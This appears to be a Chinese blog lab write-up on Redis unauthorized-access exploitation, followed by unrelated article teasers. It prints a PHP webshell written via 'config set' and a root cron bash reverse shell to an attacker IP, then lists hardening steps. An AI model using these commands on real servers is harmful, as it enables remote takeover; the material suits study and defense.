Redis - General - 未授权访问漏洞(用户配置问题)
0x01:产品简介
Redis(Remote Dictionary Service,远程数据服务),是一款开源的基于内存的键值对存储系统,其主要被用作高性能缓存服务器使用(比如作为消息中间件和用于 Session 共享)。
Redis 采用键值对模型来存储数据,因此其支持非常多的数据结构类型,比如:字符串(String)、哈希表(Hash)、有序列表(List)、无序集合(Set)、有序集合(ZSet)。
由于 Redis 采用基于内存的存储方式,所以其免去了磁盘 I/O 速度的影响,因此其读写性能极高。
拓展:简单的 Redis 操作指令(部署完环境后速查)
/redis-cli # 连接本地的 Redis 服务端redis-cli -h xx.xx.xx.xx -p 6379 # 连接远程的 Redis 服务端flushall # 清空所有的 Keykeys * # 查看所有的 Keyset Hack3rX Blue17 # 设置 Keyget Hack3rX # 根据 Key,取出 Valuehset hash 1 a 2 b 3 c 4 d # 设置 Hash 值hget hash 1 # 取出 hash 值为 1 的值,即 a
0x02:漏洞简介
首先需要说明,Redis 官方并不认为这个是它们系统的漏洞,他们认为这源自于用户配置不当所造成的问题,所以在很早的 Redis 版本中就可以使用该漏洞进行攻击。
在默认配置下,Redis 会绑定至本机的 6379 端口。若用户未采取诸如限制 Redis 访问 IP 等防护措施,且未设置密码认证(Redis 默认密码为空),便直接将 Redis 服务暴露于公网,这将使得任意用户在能够访问目标服务器的情况下,可借助 Redis 自身的 config 命令执行写文件操作。攻击者可借此向定时任务中植入恶意代码,进而获取 Redis 运行服务器的控制权,并进一步实施攻击。
0x03:环境搭建
环境准备
Redis 版本:6.2.3(CSDN 备份资源:redis-6.2.3.tar.gz)
靶机环境:CentOS7 - IP 192.168.0.137 - 安装 Redis 服务器
攻击机环境:Kali Linux - IP 192.168.0.136 - 安装 Redis 客户端
0x0301:靶机环境搭建
靶机:Redis 服务端配置概览
目标:能让任何 Redis 客户端都连接上 Redis 服务器。
备注:Redis 服务端是使用 root 用户安装的。(实际环境中不推荐)
Redis 配置文件:
关闭保护模式
protected-mode(让任何客户端都能连接)取消 IP 绑定
bind(让任何客户端都能连接)取消 Redis 连接密码(这个是默认的配置)
服务端配置:
开放 6379 端口,或者关闭防火墙(公网安装记得去安全组中进行配置)
1. CentOS 7 安装 Redis 源码包
Downloads - Redishttps://redis.io/downloads/
使用 SSH 登录到靶机,切换到 Root 用户,然后在 /usr/local/ 目录下创建一个soft文件夹以存放我们安装的 Redis 软件(你可以挑选你喜欢的安装目录,这里不必和笔者一样):
mkdir /usr/local/soft # 创建 soft 文件夹,以存放安装的程序(可选,看你)cd /usr/local/soft # 进入 soft 文件夹wget https://download.redis.io/releases/redis-6.2.3.tar.gz # 下载 Redis 源码包

输入下面的命令解压 redis 压缩包:
tar -zxvf redis-6.2.3.tar.gz

我们刚刚下载的是 Redis 的源码包,还不能直接使用,我们还需要将其编译成可执行程序后才能使用。由于 Redis 是使用 C 语言编写的,所以我们编译需要用到 GCC。Redis 6.x.x 版本支持了多线程,所以需要 GCC 的版本大于 4.9(CentOS7 默认 GCC 版本是 4.8.5)。
2. CentOS 7 升级 GCC 版本
输入下面的命令查看本机当前的 gcc 版本:
gcc -v

依次输入下面的命令升级本机的 GCC 版本(这里很多人都会失败,建议参考笔者下面列举的项目进行排查):
yum -y install centos-release-sclyum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils scl enable devtoolset-9 bash echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile
Bug:若无法下载 gcc 9 版本可以参考下面流程进行排查(NameServer Error)
在下载 gcc 9 版本时,可能会报出 NameServer Error 问题,即 yum 源域名无法解析的问题,建议按照如下流程排查:
修改本地 DNS 解析地址,直到你能 Ping 通 baidu.com 为止(问 AI)。
修改本地 yum 源为阿里源 - 参考下面这篇文章:
Centos7将yum源更换为国内源保姆级教程_centos使用中科大源-CSDN博客
当你修改 yum 源后 makecache 时报错发现改源失败,参考这篇文章修改 SCL 源:
Centos7 停止维护之后 升级gcc||找不到devtoolset-8-gcc* 问题解决方案
等上面的命令执行完毕后输入下面的命令,查看当前 gcc 的版本:
gcc -v

3. CentOS 7 编译安装 Redis
输入下面的命令进入 redis 源码包解压后的 src (源码)目录:
cd /usr/local/soft/redis-6.2.3/src
使用下面的命令将 Redis 源码编译成可执行程序:
make install
在 src 目录下输入下面的命令,确定你是否安装成功:
ls | grep -E "redis-server|redis-cli|redis-sentinel"

4. 修改 Redis 配置文件
首先明确一点,笔者将 redis 安装在了:/usr/local/soft/redis-6.2.3 文件夹下。所以我本机的 Redis 默认配置文件是在 /usr/local/soft/redis-6.2.3/redis.conf。
使用下面的命令打开并编辑 Redis 的配置文件(修改完成后记得保存):
vim /usr/local/soft/redis-6.2.3/redis.conf# 以下是需要更改的配置内容
1. 将 protected-mode yes 修改为 protected-mode no
2. 将 daemonize no 修改为 daemonize yes
3. 注释掉 bind 127.0.0.1
4. (实验跳过,实际必选)如果需要密码访问,取消 requirepass 的注释,如果你在外网(比如阿里云)这个必须要配置。




5. 使用指定配置文件启动 Redis
输入下面的命令,使用 redis-server(我们编译好的可执行程序)加载我们刚刚修改的配置文件来尝试启动 Redis 服务:
/usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf
输入完上面的命令后,在使用下面的命令来确定 Redis 是否启动成功(Redis 默认端口是 6379,如果我们发现 6379 端口处于 LISTEN 状态,则说明 Redis 启动成功):
netstat -an | grep 6379

6. 使用 Redis 客户端连接 Redis 服务器
输入下面的命令,使用我们刚刚编译好的 redis 客户端程序连接上 redis 服务器:
/usr/local/soft/redis-6.2.3/src/redis-cli

7. 停止 redis 服务器(服务器中)
在上面的演示中,我们通过 exit 退出连接了 Redis 服务器,可以发现 Redis 服务器其实依旧在运行,并没有关闭,那么我们要怎么关闭 redis 服务呢?
关闭 redis 服务可以通过以下两个方式进行(在运行 Redis 服务的机器中运行):
========================== Way 1
127.0.0.1:6379> shutdown========================== Way 2
ps -aux | grep redis # 筛选出 redis 服务的进程号
kill -9 xxxxx # 直接杀死 redis 服务的进程


8. (可选)快捷使用 Redis - 配置别名
我们刚刚通过输入 /usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf 的方式启动 Redis 非常的麻烦,有没有简单的缩短我们敲的指令的长度呢?
有的,兄弟,有的,配置别名就可以了,输入下面的命令编辑 .bashrc 文件(记得保存):
vim ~/.bashrc # 编辑 ~/.bashrc# 添加下面两行内容
alias redis='/usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf'
alias recli='/usr/local/soft/redis-6.2.3/src/redis-cli'

然后输入下面的命令,使我们上面修改的内容生效:
source ~/.bashrc
然后我们就可以使用 redis 命令直接启动 redis 服务,使用 recli 命令直接进入客户端了:

9. 开放 6379 端口 or 关闭防火墙
为了我们漏洞复现的成功,我们需要将服务端的 Redis 服务暴露出来。暴露的方式很简单,如果你是在公网上安装的,从安全组中开放 6379 端口即可。这里我们主要讲解第二种方式,即关闭防火墙(漏洞复现,还是别拿自己的公网服务器开玩笑比较好)。
首先,输入下面的命令,查看本机防火墙状态:
systemctl status firewalld

关闭防火墙输入下面的命令即可:
systemctl stop firewalld.service # 关闭防火墙,重启后防火墙会自动开启
systemctl disable firewalld.service # 禁止防火墙开机启动
那么至此,我们的靶机环境就搭建完成了。
0x0302:攻击机环境搭建
攻击机我们采用的是 Kali Linux,对于攻击机的环境,其实只要安装一个 Redis 的客户端程序即可,具体流程与上面安装 CentOS 7 的基本一致,所以笔者这里就简略点写了。
下载 Redis 源码包,并进行解压编译成可执行文件(本机 Kali 的 GCC 版本是 13.2.0 符合要求):
# 下载 Redis 源码包
wget https://download.redis.io/releases/redis-6.2.3.tar.gz
# 进行解压操作
tar -zxvf redis-6.2.3.tar.gz
# 进入源码目录
cd redis-6.2.3/src
# 将源码编译成可执行程序
make install
# 将 src 目录下的 redis-cli 拷贝到 /usr/bin 目录下,我们就可以直接使用 redis-cli 运行客户端了
cp ./redis-cli /usr/bin
按照上面的步骤操作完成后,我们就可以尝试使用 Kali 中的 redis 客户端连接 CentOS 7 靶机上的 Redis 服务器了:
redis-cli -h 192.168.0.137 -p 6379

0x04:漏洞复现
0x0401:基础知识 - Redis 持久化机制
在 Redis 产品简介中我们已经说过了,Redis 是将数据存储在内存中。我们知道的,内存中的数据是不持久的,如果我们的服务器不小心关机了,或者 Redis 的服务不小心崩溃了,那么 Redis 中存储的数据就会全部消失。
为了解决上面的问题,我们就要使用到 Redis 的持久化机制,即定期将内存中的数据拷贝到硬盘上。Redis 提供了两种方式来做持久化,分别是 RDB(默认,Redis DataBase)与 AOF(Append Only File),这两种方式是可以同时使用的,并不是排斥的。我们这里主要是讲解 RDB 的方式,因为是默认的,所以用的比较多。
1. RDB - 自动备份
RDB 方式可以分为自动触发与手动触发两种,我们先来看看自动触发,使用靶机打开 Redis 的配置文件,定位关键词 SNAPSHOTTING,这部分是控制自动触发的条件的:
vim /usr/local/soft/redis-6.2.3/redis.conf

然后再定位关键词 dbfilename,这部分是控制保存的文件名的:

然后我们再定位关键词 dir,这部分是控制保存的路径的:

通过上面几个配置,我们了解到了,Redis 会通过 SNAPSHOTTING 中的规则,将内存中的数据定期备份到 Redis 安装目录下的 dump.rdb 文件中(默认情况下):

2. RDB - 手动备份
手动触发就比较简单了,进入 Redis 客户端中输入下面的命令就可以直接让 Redis 将内存数据写到磁盘中的指定位置了:
save

0x0402:基础知识 - Redis 动态修改配置
在之前的操作中,我们想要修改 Redis 的配置都需要去 Redis 的配置文件中进行修改。但 Redis 其实还提供了一个动态修改配置的机制,其语法如下(动态修改的配置只在本次服务中生效):
config set dir /
config set dbfilename redis.php
首先给大家看一下我靶机的根目录下的文件,此时是没有 redis.php 的:

在攻击机中,我们使用 Redis 客户端连接到靶机的 Redis 服务器中,并通过动态修改配置的方式,在靶机的根目录下生成一个 redis.php 文件:
┌──(root㉿kali)-[/home/kali/Desktop/soft]
└─# redis-cli -h 192.168.0.137 -p 6379 # 连接上靶机的 Redis 服务器
192.168.0.137:6379> keys *
(empty array)
192.168.0.137:6379> set Hack3rX "I'm Comming!" # 设置一个 Key
OK
192.168.0.137:6379> set kiss "<?php @eval($_POST['muma']) ?>" # 设置一个 Key,并写入一句话木马
OK
192.168.0.137:6379> config set dir / # 通过动态修改配置,设置保存的文件位置
OK
192.168.0.137:6379> config set dbfilename redis.php # 设置保存的文件名
OK
192.168.0.137:6379> save # 手动执行保存操作
OK
下面我们来看看靶机的根目录下的内容:

可以发现,此时在靶机的根目录下就出现了一个 redis.php 文件,打开该文件,可以发现里面有完好的 PHP 一句话木马的内容(如果我们将保存位置设置到靶机的站点目录下呢,是不是就可以直接写入 Shell,然后再使用远控工具进行连接,就能直接拿到服务器的控制权了呢)。
0x0403:漏洞利用 - Redis 定时反弹连接
在前面的内容中我们介绍了 Redis 的持久化机制,现在我们就尝试使用该机制来获取靶机执行命令的权限。
目前我的靶机是除了 6379 Redis 开放的以外,其他服务都没开放,也不存在 HTTP 服务。那么,这种情况我们要怎么拿到 Shell?很简单,利用定时任务就可以了。
首先,我们进入 Kali 攻击机,并监听本机的 7777 端口:
nc -lvp 7777

然后新打开一个窗口,使用攻击机的 Redis 客户端程序连接到靶机的 Redis 服务器中:
redis-cli -h 192.168.0.137 -p 6379

然后将定时任务的内容作为 Value 写入到 Redis 中:
# 下面是写入了一个 Bash 反弹连接的任务,每分钟执行一次,靶机会自动将权限提交给攻击机
set x "\n* * * * * bash -i >& /dev/tcp/192.168.0.136/7777 0>&1 \n"
如上,我们写了一个定时执行的反弹连接代码到靶机上。然后,使用 Redis 动态修改配置的特性,将数据保存到靶机的定时任务文件中(这个文件是固定的):
config set dir /var/spool/cron/ # 设置保存的路径
config set dbfilename root # 设置保存的文件名
save # 手动执行持久化操作

等待一分钟,很快,攻击机监听的 7777 端口就传来了靶机的 Shell,成功拿到靶机的控制权:

至此,Redis 未授权访问漏洞结合定时任务反弹 Shell 的攻击演示结束。(后面就是权限维持,痕迹清理啥的基础内容了,笔者不准备在这里讲解)。
最后,再来看以下靶机的 root 用户下的定时任务中的内容吧:

0x05:加固方案
Redis security | DocsSecurity model and features in Redishttps://redis.io/docs/latest/operate/oss_and_stack/management/security/
Redis 的加固方案可以参考上面提供的官网文档。针对 “Redis 未授权访问漏洞” 相信大家在安装 Redis 的时候应该就想到了防御方法了,这里简单列一下吧:
-
不建议将 Redis 布置在公网中(不受信任的网络环境中)。
-
限制访问 IP =>
protected-mode配置与bind配置。 -
设置 Redis 的连接密码(强密码) =>
requirepass配置。 -
修改 Redis 默认端口。
-
不要使用 Root 用户运行 Redis,而是创建一个低权限用户运行它。
0x06:参考资料
【Kali】Kali 安装 redis-cli_kali安装redis-cli-CSDN博客文章浏览阅读5.2k次,点赞24次,收藏17次。起序:留个笔记。一、下载下载 redis-stable.tar.gz。wget http://download.redis.io/redis-stable.tar.gz二、解压解压 redis-stable。tar -zxf redis-stable.tar.gz三、编译编译 redis-stable。# 进入到 redis-stable 目录cd redis-stable# 编译make四、拷贝编译完成之后,再将 src 目录下的 redis-cl._kali安装redis-clihttps://blog.csdn.net/qq_43427482/article/details/114794812相关文章:
Redis - General - 未授权访问漏洞(用户配置问题)
0x01:产品简介 Redis(Remote Dictionary Service,远程数据服务),是一款开源的基于内存的键值对存储系统,其主要被用作高性能缓存服务器使用(比如作为消息中间件和用于 Session 共享)…...
解决 WSL 2 中 Ubuntu 22.04 安装 Docker 后无法启动的问题
问题场景 安装Docker后,执行sudo service docker start启动Docker,提示启动成功 rootDev:~# sudo service docker start * Starting Docker: docker [ OK ]执行su…...
Conda的一些常用命令
以下是Conda的一些常用命令: pip freeze > requirements.txt pip install -r requirements.txt 基本信息查看类 查看conda版本: conda -V 或 conda --version 可以查看当前安装的conda版本。 查看conda帮助信息: conda -h 或 conda --he…...
AI 大爆发时代,音视频未来路在何方?
AI 大模型突然大火了 回顾2024年,计算机领域最大的变革应该就是大模型进一步火爆了。回顾下大模型的发展历程: 萌芽期:(1950-2005) 1956年:计算机专家约翰麦卡锡首次提出“人工智能”概念,标志…...
Invicti-Professional-V25.1
01 更新介绍 此更新包括对内部代理的更改。内部扫描代理的当前版本为 25.1.0。内部身份验证验证程序代理的当前版本为 25.1.0。#新功能现在,单击扫描摘要屏幕中的预设扫描图标会将您重定向到具有过滤视图的 “最近扫描” 页面,从而改进导航和对相关扫描…...
【版图设计】2025年 最新 Cadence Virtuoso IC617 虚拟机环境配置全过程 集成电路版图设计环境配置
一、Cadence Virtuoso IC617 是什么? Cadence Virtuoso 是一个电子设计自动化(EDA)工具,主要用于集成电路(IC)的设计和仿真,尤其是在模拟、混合信号和射频(RF)电路设计领…...
Python基本概念与实践
Python语言,总给我一种“嗯?还能这么玩儿?”的感觉 Python像一个二三十岁的年轻人,自由、年轻、又灵活 欢迎一起进入Python的世界~ 本人工作中经常使用Python,针对一些常用的语法概念进行持续记录。 目录 一、类与常…...
# [Unity] 【游戏开发】获取物体和组件的脚本方法
在Unity开发中,获取游戏物体(GameObject)及其组件(Component)是脚本编程的核心技能。本文将详细介绍如何在脚本中访问游戏物体及其组件,深入讲解常用的获取方法及优化策略,以帮助开发者高效编写Unity脚本。 1. 理解游戏物体与组件的关系 游戏物体(GameObject):Unity场…...
10 为什么系统需要引入分布式、微服务架构
java技术的发展 在java开始流行起来之后,主要服务于企业家应用,例如ERP,CRM等等,这些项目是为企业内部员工使用,我们的思维是怎么用设计模式,如何封装代码。让开发人员关注到业务上去,系统也就那么几十几百…...
大数据系列之:上传图片到cos、cos
大数据系列之:上传图片到cos、cos 安装python cos sdk上传图片到cos高级上传接口分页列举桶内对象cos桶之间复制cos桶之间复制图片数据 安装python cos sdk pip install -U cos-python-sdk-v5上传图片到cos # -*- codingutf-8 from qcloud_cos import CosConfig fr…...
wsl 使用 docker
直接在 wsl 安装 docker , 有可能会失败,可以通过在 windows 安装 Docker Desktop,然后连接 wsl 进行解决 注意: 1. 需要先安装 wsl 2. 使用时要先启动 docker Desktop, 才能在 wsl 中使用 下载: Docker: Accelerated Containe…...
归并延拓:LeetCode归并排序逆序对问题
前言 欢迎来到我的算法探索博客,在这里,我将通过解析精选的LeetCode题目,与您分享深刻的解题思路、多元化的解决方案以及宝贵的实战经验,旨在帮助每一位读者提升编程技能,领略算法之美。 👉更多高频有趣Lee…...
51.WPF应用加图标指南 C#例子 WPF例子
完整步骤: 先使用文心一言生成一个图标如左边使用Windows图片编辑器编辑,去除背景使用正方形,放大图片使图标铺满图片使用格式工程转换为ico格式,分辨率为最大 在资源管理器中右键项目添加ico类型图片到项目里图片属性设置为始终…...
Springboot 注解缓存使用教程
Spring Boot Cache 注解使用教程 Spring Boot 提供了强大的缓存抽象,开发者可以通过注解快速实现缓存功能,从而提高系统性能。本教程将全面介绍 Spring Boot 提供的缓存相关注解及其作用,并结合示例讲解实际应用。 1. 常用缓存注解概览 Spring Boot 缓存提供以下核心注解…...
Python爬虫:从入门到实践
Python爬虫学习资料 Python爬虫学习资料 Python爬虫学习资料 在当今数字化信息爆炸的时代,数据已成为企业和个人发展的重要资产。Python爬虫作为一种高效获取网络数据的工具,正逐渐被广大开发者所熟知和应用。无论是市场调研、学术研究,还是…...
删除字符串中的所有相邻重复项(力扣1047)
这题也是属于栈的经典应用。为什么这样说呢?因为也是让我们删除相邻项。注意这里相邻项的理解,并不仅仅是说最开始的字符串相邻的项。在我们删除了某些相邻项后,会改变字符串,导致原本不相邻的字符变成相邻的,这同样属…...
MYSQL对数据的增删改查
DML 语句 对数据 进行 增、删、改 操作 插入 命令-- 插入值的个数 必须和 字段定义的个数相同 且 顺序 一致 insert into <tableName> values (val ...) ; /* 不推荐使用 */insert into <tableName>(col1 , col2 , ...) values(val1, val2 , ...) ;-- 批量插…...
前端——Html+CSS
目录 CSS引入方式 颜色表达方式 CSS选择器 去掉超链接的下划线 路径表示 行高和首行缩进 常见标签 布局标签 flex布局 表单标签 表单项标签 改变鼠标指针的样式 表格标签 div{ box-sizing: border-box; } CSS引入方式 具体有3种引入方式,语法如下表格所…...
Linux(DISK:raid5、LVM逻辑卷)
赛题拓扑: 题目: DISK 添加4块大小均为10G的虚拟磁盘,配置raid-5磁盘。创建LVM命名为/dev/vg01/lv01,大小为20G,格式化为ext4,挂在到本地目录/webdata,在分区内建立测试空文件disk.txt。[root@storagesrv ~]# yum install mdadm -y [root@storagesrv ~]# mdadm -C -n …...
N个utils(sql)
sql,操作数据库的语言,也可以叫做数据库软件的指令集吧。名字而已,无所谓啦。 本质上,sql并不是java语言内的范畴。但却是企业级开发的范畴。并且我整个文章的一篇逻辑的本质,层的概念,其中一个大的层级就…...
2024年赣州旅游投资集团社会招聘笔试真
2024年赣州旅游投资集团社会招聘笔试真 题 ( 满 分 1 0 0 分 时 间 1 2 0 分 钟 ) 一、单选题(每题只有一个正确答案,答错、不答或多答均不得分) 1.纪要的特点不包括()。 A.概括重点 B.指导传达 C. 客观纪实 D.有言必录 【答案】: D 2.1864年,()预言了电磁波的存在,并指出…...
服务器硬防的应用场景都有哪些?
服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式,避免服务器受到各种恶意攻击和网络威胁,那么,服务器硬防通常都会应用在哪些场景当中呢? 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...
【前端异常】JavaScript错误处理:分析 Uncaught (in promise) error
在前端开发中,JavaScript 异常是不可避免的。随着现代前端应用越来越多地使用异步操作(如 Promise、async/await 等),开发者常常会遇到 Uncaught (in promise) error 错误。这个错误是由于未正确处理 Promise 的拒绝(r…...
HybridVLA——让单一LLM同时具备扩散和自回归动作预测能力:训练时既扩散也回归,但推理时则扩散
前言 如上一篇文章《dexcap升级版之DexWild》中的前言部分所说,在叠衣服的过程中,我会带着团队对比各种模型、方法、策略,毕竟针对各个场景始终寻找更优的解决方案,是我个人和我司「七月在线」的职责之一 且个人认为,…...
ubuntu22.04 安装docker 和docker-compose
首先你要确保没有docker环境或者使用命令删掉docker sudo apt-get remove docker docker-engine docker.io containerd runc安装docker 更新软件环境 sudo apt update sudo apt upgrade下载docker依赖和GPG 密钥 # 依赖 apt-get install ca-certificates curl gnupg lsb-rel…...
WebRTC调研
WebRTC是什么,为什么,如何使用 WebRTC有什么优势 WebRTC Architecture Amazon KVS WebRTC 其它厂商WebRTC 海康门禁WebRTC 海康门禁其他界面整理 威视通WebRTC 局域网 Google浏览器 Microsoft Edge 公网 RTSP RTMP NVR ONVIF SIP SRT WebRTC协…...
break 语句和 continue 语句
break语句和continue语句都具有跳转作用,可以让代码不按既有的顺序执行 break break语句用于跳出代码块或循环 1 2 3 4 5 6 for (var i 0; i < 5; i) { if (i 3){ break; } console.log(i); } continue continue语句用于立即终…...
mq安装新版-3.13.7的安装
一、下载包,上传到服务器 https://github.com/rabbitmq/rabbitmq-server/releases/download/v3.13.7/rabbitmq-server-generic-unix-3.13.7.tar.xz 二、 erlang直接安装 rpm -ivh erlang-26.2.4-1.el8.x86_64.rpm不需要配置环境变量,直接就安装了。 erl…...
如何使用CodeRider插件在IDEA中生成代码
一、环境搭建与插件安装 1.1 环境准备 名称要求说明操作系统Windows 11JetBrains IDEIntelliJ IDEA 2025.1.1.1 (Community Edition)硬件配置推荐16GB内存50GB磁盘空间 1.2 插件安装流程 步骤1:市场安装 打开IDEA,进入File → Settings → Plugins搜…...
全面解析网络端口:概念、分类与安全应用
在计算机网络的世界里,数据的传输与交互如同一场繁忙的物流运输,而网络端口就是其中不可或缺的 “货运码头”。无论是日常浏览网页、收发邮件,还是运行各类网络服务,都离不开网络端口的参与。本文将深入介绍网络端口的相关知识&am…...
